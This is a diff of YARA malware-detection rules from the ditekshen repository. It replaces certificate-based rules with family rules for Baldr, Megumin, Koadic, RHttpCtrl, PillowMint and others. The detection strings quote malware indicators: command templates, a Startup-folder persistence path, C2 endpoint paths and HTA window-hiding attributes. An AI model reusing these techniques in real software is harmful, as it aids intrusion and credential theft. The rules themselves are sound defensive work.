+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1024-L1045"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9854a8812f55f2ae7cddc714b780def3d0511b236685a17ffe202711237c4b7e"
+		logic_hash = "df2930694671c9ca16f2afeb799704647c9acf32be118706c342347ffe8ceb36"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "67c4afae16e5e2f98fe26b4597365b3cfed68b58"
-		importance = 20
+
+	strings:
+		$s1 = "Execute Comand" ascii
+		$s2 = "InjectExplorer" ascii
+		$s3 = "targetProcess = %s" fullword ascii
+		$s4 = "Process attach (%s)" fullword ascii
+		$s5 = "process name: %s" fullword ascii
+		$s6 = "cmd /c %s >%s" fullword ascii
+		$s7 = "CmdDown: %s, failed" fullword ascii
+		$s8 = "http://%s%s/%s" fullword ascii
+		$s9 = "tmp.LOG" fullword ascii
+		$x1 = "zerodll.dll" fullword ascii
+		$x2 = "OneDll.dll" fullword ascii
+		$x3 = "kkd.bat" fullword ascii
+		$x4 = "%s\\regsvr32.exe /s \"%s\"" fullword ascii
+		$x5 = "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fontchk.jse" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NEON CRAYON LIMITED" and pe.signatures[i].serial=="45:d7:6c:63:92:9c:46:20:ab:70:67:72:f5:90:7f:82")
+		uint16(0)==0x5a4d and (8 of ($s*) or all of ($x*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5029Daca439511456D9Ed8153703F4Bc : FILE
+rule DITEKSHEN_MALWARE_Win_Fakewmi : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "FakeWMI payload"
 		author = "ditekSHen"
-		id = "1d7f0d61-fbe7-58d1-a9d8-083678e8b9bd"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "689bc207-2bc6-50de-80d6-d1ba0a26b264"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L588-L599"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1047-L1064"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "256b4bebbe4567de9e7d1938dd99f7f9fa13749de2f331aec0bc15f4ab5ab488"
+		logic_hash = "627886cdd01f5f02e454ef284c77c87eb027ee33f6a51536758fb7f095271a40"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9d5ded35ffd34aa78273f0ebd4d6fa1e5337ac2b"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.Fakewmi"
+
+	strings:
+		$s1 = "-BEGIN RSA PUBLIC KEY-" ascii
+		$s2 = ".exe|" ascii
+		$s3 = "cmd /c wmic " ascii
+		$s4 = "cmd /c sc " ascii
+		$s5 = "schtasks" ascii
+		$s6 = "taskkill" ascii
+		$s7 = "findstr" ascii
+		$s8 = "netsh interface" ascii
+		$s9 = "CreateService" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THE GREEN PARTNERSHIP LTD" and pe.signatures[i].serial=="50:29:da:ca:43:95:11:45:6d:9e:d8:15:37:03:f4:bc")
+		uint16(0)==0x5a4d and ( all of ($s*) and #s2>10)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1C7D3F6E116554809F49Ce16Ccb62E84 : FILE
+rule DITEKSHEN_MALWARE_Win_Baldr : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Baldr payload"
 		author = "ditekSHen"
-		id = "66f4c531-5c0d-5467-a875-eff00a5d00c8"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "cdc35a11-a97b-5e21-929e-01fed5172b55"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L601-L612"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1066-L1083"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f24037e6ac40844095e06ea12cebdf4dd22a35382c728f9586b90e40c57a4188"
+		logic_hash = "f8e97fd618209bc6ce609b60b1e1f1e359be7678474fad3b18a529487c64cd99"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = ""
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.Baldr"
+
+	strings:
+		$x1 = "BALDR VERSION : {0}" fullword wide
+		$x2 = "Baldr" fullword ascii wide
+		$x3 = "{0}\\{1:n}.exe" fullword wide
+		$x4 = ".doc;.docx;.log;.txt;" fullword wide
+		$s1 = "<GetMAC>b__" ascii
+		$s2 = "<ExtractPrivateKey3>b__" ascii
+		$s3 = "UploadData" fullword ascii
+		$s6 = "get_NetworkInterfaceType" fullword ascii
+		$s5 = "get_Passwordcheck" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "1549 LIMITED" and pe.signatures[i].serial=="1c:7d:3f:6e:11:65:54:80:9f:49:ce:16:cc:b6:2e:84")
+		( uint16(0)==0x5a4d and all of ($x*)) or (2 of ($x*) and 4 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_75522215406335725687Af888Dcdc80C : FILE
+rule DITEKSHEN_MALWARE_Win_Megumin : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Megumin payload"
 		author = "ditekSHen"
-		id = "712d41e1-6760-5124-8af2-c57a87816237"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "bb1743f7-0bd8-5c0a-ad78-c4747904204f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L614-L625"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1085-L1108"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5166ea726b1be824e5702c411800236d60c44fbfc89a39b1bc103de965249d7d"
+		logic_hash = "fb4934814c45d2465b6e1589c3b489116343ca0c17ebb916b5c9247fc676c74d"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = ""
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.Megumin"
+
+	strings:
+		$s1 = "loadpe|" fullword ascii
+		$s2 = "Megumin/2.0" fullword ascii
+		$s3 = "/c start /I \"\" \"" fullword ascii
+		$s4 = "jsbypass|" fullword ascii
+		$cnc1 = "Mozilla/5.0 (Windows NT 6.1) Megumin/2.0" fullword ascii
+		$cnc2 = "/cdn-cgi/l/chk_jschl?s=" fullword ascii
+		$cnc3 = "/newclip?hwid=" fullword ascii
+		$cnc4 = "/isClipper" fullword ascii
+		$cnc5 = "/task?hwid=" fullword ascii
+		$cnc6 = "/completed?hwid=" fullword ascii
+		$cnc7 = "/gate?hwid=" fullword ascii
+		$cnc8 = "/addbot?hwid=" fullword ascii
+		$pdb = "\\MeguminV2\\Release\\MeguminV2.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THEESOLUTIONS LTD" and pe.signatures[i].serial=="75:52:22:15:40:63:35:72:56:87:af:88:8d:cd:c8:0c")
+		( uint16(0)==0x5a4d and ( all of ($s*) or 5 of ($cnc*) or $pdb)) or 11 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_768Ddcf9Ed8D16A6Bc77451Ee88Dfd90 : FILE
+rule DITEKSHEN_MALWARE_Win_Rietspoof : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Rietspoof payload"
 		author = "ditekSHen"
-		id = "f7d24c5f-e102-568e-bf44-47ccaad6225c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b2d94705-ca59-56ae-8471-2c6895d355dc"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L627-L638"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1110-L1140"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ba98f0da84b678262ee98e5c5fec2aaeab9a0c304fd4552dd27e87aa54f79cdf"
+		logic_hash = "d1d9baab83c904d1e8dcd7aeacdabfc79c1acee67006793c2240a42ebf9c62b2"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = ""
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.Rietspoof"
+
+	strings:
+		$c1 = "%s%s%s USER: user" fullword ascii
+		$c2 = "cmd /c %s" fullword ascii
+		$c3 = "CreateObject(\"Scripting.FileSystemObject\").DeleteFile(" ascii
+		$c4 = "WScript.Quit" fullword ascii
+		$c5 = "CPU: %s(%d)" fullword ascii
+		$c6 = "RAM: %lld Mb" fullword ascii
+		$c7 = "data.dat" fullword ascii
+		$c8 = "%s%s%s USER:" ascii
+		$v1_1 = ".vbs" ascii
+		$v1_2 = "HELLO" ascii
+		$v1_3 = "Wscript.Sleep" ascii
+		$v1_4 = "User-agent:Mozilla/5.0 (Windows; U;" ascii
+		$v2_1 = "Xjoepxt!" ascii
+		$v2_2 = "Content-MD5:%s" fullword ascii
+		$v2_3 = "M9h5an8f8zTjnyTwQVh6hYBdYsMqHiAz" fullword ascii
+		$v2_4 = "GET /%s?%s HTTP/1.1" fullword ascii
+		$v2_5 = "GET /?%s HTTP/1.1" fullword ascii
+		$pdb1 = "\\techloader\\loader\\loader.odb" ascii wide
+		$pdb2 = "\\loader\\Release\\loader_v1.0.pdb" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THEESOLUTIONS LTD" and pe.signatures[i].serial=="76:8d:dc:f9:ed:8d:16:a6:bc:77:45:1e:e8:8d:fd:90")
+		uint16(0)==0x5a4d and (7 of ($c*) and (3 of ($v*) or 1 of ($pdb*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_59E378994Cf1C0022764896D826E6Bb8 : FILE
+rule DITEKSHEN_MALWARE_Win_Modirat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "MoDiRAT payload"
 		author = "ditekSHen"
-		id = "465d0b0c-c9fa-5364-a5f4-0d765ee40081"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "8b641c7a-5ebd-50e7-83cb-e408683c456b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L640-L651"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1142-L1158"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1720636723f0eeab074e29e7c9bf2df3c8d951e27b25ea4b7db60f6c00102589"
+		logic_hash = "d0760e9dab7e9c0affb2193ea249feea8bb58e519522ca2a562f015059ad5590"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9a17d31e9191644945e920bc1e7e08fbd00b62f4"
-		importance = 20
+
+	strings:
+		$s1 = "add_Connected" fullword ascii
+		$s2 = "Statconnected" fullword ascii
+		$s3 = "StartConnect" fullword ascii
+		$s4 = "TelegramTitleDetect" fullword ascii
+		$s5 = "StartTitleTelegram" fullword ascii
+		$s6 = "Check_titles" fullword ascii
+		$s7 = "\\MoDi RAT V" ascii
+		$s8 = "IsBuzy" fullword ascii
+		$s9 = "Recording_Time" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SEVA MEDICAL LTD" and pe.signatures[i].serial=="59:e3:78:99:4c:f1:c0:02:27:64:89:6d:82:6e:6b:b8")
+		( uint16(0)==0x5a4d and 7 of them ) or all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3D2580E89526F7852B570654Efd9A8Bf : FILE
+rule DITEKSHEN_MALWARE_DOC_Koadicdoc : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Koadic post-exploitation framework document payload"
 		author = "ditekSHen"
-		id = "a80493e6-ed0c-597a-a87e-19c8fa8dd8ce"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "76d6c8df-4e42-5c0a-8344-f8848e7ac945"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L668-L679"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1160-L1174"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "19f418672850536aaac1983b45c3239d5c81c1e4b9b6ee36a761cfc7e2351531"
+		logic_hash = "9f0538e1faee737a08d403a7f321ce45bdc70b390accfe378ba0d26292509fd7"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "c1b4d57a36e0b6853dd38e3034edf7d99a8b73ad"
-		importance = 20
+
+	strings:
+		$s1 = "&@cls&@set" ascii
+		$s2 = /:~\d+,1%+/ ascii
+		$s3 = "Header Char" fullword wide
+		$s4 = "EMBED Package" ascii
+		$b1 = ".bat\"%" ascii
+		$b2 = ".bat');\\\"%" ascii
+		$b3 = ".bat',%" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MIKL LIMITED" and pe.signatures[i].serial=="3d:25:80:e8:95:26:f7:85:2b:57:06:54:ef:d9:a8:bf")
+		uint16(0)==0xcfd0 and all of ($s*) and 2 of ($b*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5Da173Eb1Ac76340Ac058E1Ff4Bf5E1B : FILE
+rule DITEKSHEN_MALWARE_BAT_Koadicbat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Koadic post-exploitation framework BAT payload"
 		author = "ditekSHen"
-		id = "1ef8f8b6-e4e9-5504-94bd-b24e81de5694"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "dad7bb32-b1f1-5c6d-89b2-77cc49b5f020"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L681-L692"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1176-L1186"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c9bfbef4470ee2339ef68484f8a4f21628c0cf9a07770d68d91e6c11e0345786"
+		logic_hash = "1ee6c0189a5111c61af1dbe571524427bff95a7e3907f97ce51d272a8f701cf5"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "acb38d45108c4f0c8894040646137c95e9bb39d8"
-		importance = 20
+
+	strings:
+		$v1_1 = "&@cls&@set" ascii
+		$v2_1 = { 26 63 6c 73 0d 0a 40 25 }
+		$m1 = /:~\d+,1%+/ ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ALISA LTD" and pe.signatures[i].serial=="5d:a1:73:eb:1a:c7:63:40:ac:05:8e:1f:f4:bf:5e:1b")
+		uint16(0)==0xfeff and ((1 of ($v1*) or 1 of ($v2*)) and #m1>100)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_378D5543048E583A06A0819F25Bd9E85 : FILE
+rule DITEKSHEN_MALWARE_JS_Koadicjs
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Koadic post-exploitation framework JS payload"
 		author = "ditekSHen"
-		id = "3525888c-9558-5164-b94e-b16511a5ea72"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "8598d5cb-0486-52b0-a686-6bd014f35c44"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L694-L705"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1188-L1208"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "29c6ae99675b8ab2c497faad71791c3fc018e92447bd96f5b2b3f426e1a1322b"
+		logic_hash = "689116f74996fecf4c16c224e8cd842ad5b5e989de2dfdf0debeb9a26d8a12fa"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		thumbprint = "cf933a629598e5e192da2086e6110ad1974f8ec3"
-		importance = 20
+		tags = ""
+
+	strings:
+		$s1 = "window.moveTo(-" ascii
+		$s2 = "window.onerror = function(sMsg, sUrl, sLine) { return false; }" fullword ascii
+		$s3 = "window.onfocus = function() { window.blur(); }" fullword ascii
+		$s4 = "window.resizeTo(" ascii
+		$s5 = "window.blur();" fullword ascii
+		$hf1 = "<hta:application caption=\"no\" windowState=\"minimize\" showInTaskBar=\"no\"" fullword ascii
+		$hf2 = "<hta:application caption=\"no\" showInTaskBar=\"no\" windowState=\"minimize\" navigable=\"no\" scroll=\"no\""
+		$ht1 = "<hta:application" ascii
+		$ht2 = "caption=\"no\"" ascii
+		$ht3 = "showInTaskBar=\"no\"" ascii
+		$ht4 = "windowState=\"minimize\"" ascii
+		$ht5 = "navigable=\"no\"" ascii
+		$ht6 = "scroll=\"no\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "KITTY'S LTD" and pe.signatures[i].serial=="37:8d:55:43:04:8e:58:3a:06:a0:81:9f:25:bd:9e:85")
+		all of ($s*) and (1 of ($hf*) or all of ($ht*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Fdb6F4C09A1Ad69D4Fd2E46Bb1F54313 : FILE
+rule DITEKSHEN_MALWARE_Win_NETEAGLE : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "NETEAGLE backdoor payload"
 		author = "ditekSHen"
-		id = "e1250c37-fa89-5b8e-bea2-3b5e14039aea"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "89d1304a-63a0-50fc-855a-2e36cde1c5e7"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L720-L731"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1210-L1225"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ce78ab52d8aeb87ada9cb86007907a8ad46e91982cc8fff43a61e7ec96609eb2"
+		logic_hash = "148de0ca332d3885d94eae8d15eb4aaa2bc4950c691c0e8817c816b7d4c55510"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4d1bc69003b1b1c3d0b43f6c17f81d13e0846ea7"
-		importance = 20
+
+	strings:
+		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword ascii
+		$s2 = "System\\CurrentControlSet\\control\\ComputerName\\ComputerName" fullword ascii
+		$s3 = "Mozilla/4.0 (compatible; MSIE 5.0; Win32)" fullword ascii
+		$s4 = "/index.htm" fullword ascii
+		$s5 = "Help_ME" fullword ascii
+		$s6 = "GOTO ERROR" ascii
+		$s7 = "127.0.0.1" fullword ascii
+		$s8 = /pic\d\.bmp/ ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FDSMMCME" and pe.signatures[i].serial=="fd:b6:f4:c0:9a:1a:d6:9d:4f:d2:e4:6b:b1:f5:43:13")
+		uint16(0)==0x5a4d and 7 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_E5Bf5B5C0880Db96477C24C18519B9B9 : FILE
+rule DITEKSHEN_MALWARE_WIN_BACKSPACE : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "BACKSPACE backdoor payload"
 		author = "ditekSHen"
-		id = "a28dbf8f-1b30-525d-baaf-51342aaf1cb3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ff9b1c2e-66a1-5e09-8bc2-a7543161e518"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L733-L744"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1227-L1247"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b3e0401a9cf3005abac24114193f34bf439107bf6661b7c2c0b66ca91438c7b9"
+		logic_hash = "3d366327c2272761349687b11e4d6baada5000936dc7f81665e0303f7d1e5121"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = ""
-		importance = 20
+
+	strings:
+		$s1 = "Software\\Microsoft\\PnpSetup" ascii wide
+		$s2 = "Mutex_lnkword_little" ascii wide
+		$s3 = "(Prxy%c-%s:%u)" fullword ascii
+		$s4 = "(Prxy-No)" fullword ascii
+		$s5 = "/index.htm" fullword ascii
+		$s6 = "CONNECT %s:%d" ascii
+		$s7 = "\\$NtRecDoc$" fullword ascii
+		$s8 = "qazWSX123$%^" ascii
+		$s9 = "Software\\Microsoft\\Core" ascii wide
+		$s10 = "Mutex_lnkch" ascii wide
+		$s11 = "Event__lnkch__" ascii wide
+		$s12 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)" fullword ascii
+		$s13 = "User-Agent: Mozilla/5.00 (compatible; MSIE 6.0; Win32)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "WATWGHFC" and pe.signatures[i].serial=="e5:bf:5b:5c:08:80:db:96:47:7c:24:c1:85:19:b9:b9")
+		uint16(0)==0x5a4d and 8 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Ede6Cfbf9Fa18337B0Fdb49C1F693020 : FILE
+rule DITEKSHEN_MALWARE_Win_Rhttpctrl : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "RHttpCtrl backdoor payload"
 		author = "ditekSHen"
-		id = "f1f34147-132e-53a3-b82c-d98121fc3f2c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "fa80db13-90af-5d6a-bcc2-ad1f6808268e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L746-L757"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1249-L1265"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "27f06a7a07b818fd34f5d23fd8e78f041063e035c1f8caa99aaaf53ec73a717a"
+		logic_hash = "a8b27fcc4636c2fe02a0e006295ece7f705cc9a042921f66ef1f9b6a88aaf9a1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a99b52e0999990c2eb24d1309de7d4e522937080"
-		importance = 20
+
+	strings:
+		$s1 = "%d_%04d%02d%02d%02d%02d%02d." ascii
+		$s2 = "ver=%s&id=%06d&type=" ascii
+		$s3 = "ver=%d&id=%s&random=%d&" ascii
+		$s4 = "id=%d&output=%s" ascii
+		$s5 = "Error:WinHttpCrackUrl failed!/n" ascii
+		$s6 = "Error:SendRequest failed!/n" ascii
+		$s7 = ".exe a %s %s" ascii
+		$s8 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0" fullword wide
+		$pdb = "\\WorkSources\\RHttpCtrl\\Server\\Release\\svchost.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "START ARCHITECTURE LTD" and pe.signatures[i].serial=="00:ed:e6:cf:bf:9f:a1:83:37:b0:fd:b4:9c:1f:69:30:20")
+		uint16(0)==0x5a4d and (5 of ($s*) or ($pdb and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4F407Eb50803845Cc43937823E1344C0 : FILE
+rule DITEKSHEN_MALWARE_Win_Pillowmint : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "PillowMint POS payload"
 		author = "ditekSHen"
-		id = "d5a6df76-bbbc-5025-b0c4-49e0034c03f3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e3d26a12-45aa-5f5d-997a-f350bc1bea97"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L759-L770"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1267-L1283"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bb01e912cf40155b0b00e1901bbb3235048ee033d0ddea7a809f0ce8e871e1ce"
+		logic_hash = "ed2597fce1c56d2e110790e0eb89834b1bb9f6f52d39105157c9ffe2ede6cc7a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0c1ffe7df27537a3dccbde6f7a49e38c4971e852"
-		importance = 20
+
+	strings:
+		$s1 = "system32\\sysvols\\" ascii nocase
+		$s2 = "Sysnative\\sysvols\\" ascii nocase
+		$s3 = "critical.log" fullword ascii
+		$s4 = "log.log" fullword ascii
+		$s5 = "commands.txt" fullword ascii
+		$s6 = "_EV0LuTi0N_" ascii
+		$s7 = /(file|reg)\scmd:/ fullword ascii
+		$s8 = "dumper_nologs_" ascii
+		$s9 = "ReflectiveLoader" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SLOW COOKED VENTURES LTD" and pe.signatures[i].serial=="4f:40:7e:b5:08:03:84:5c:c4:39:37:82:3e:13:44:c0")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2Bffef48E6A321B418041310Fdb9B0D0 : FILE
+rule DITEKSHEN_MALWARE_Win_Blackshadesrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "BlackshadesRAT / Cambot POS payload"
 		author = "ditekSHen"
-		id = "fc945c76-b743-52d3-8e15-77afdc629f6d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "bd0ad920-109a-50b5-94af-6580684bff52"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L785-L796"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1285-L1300"
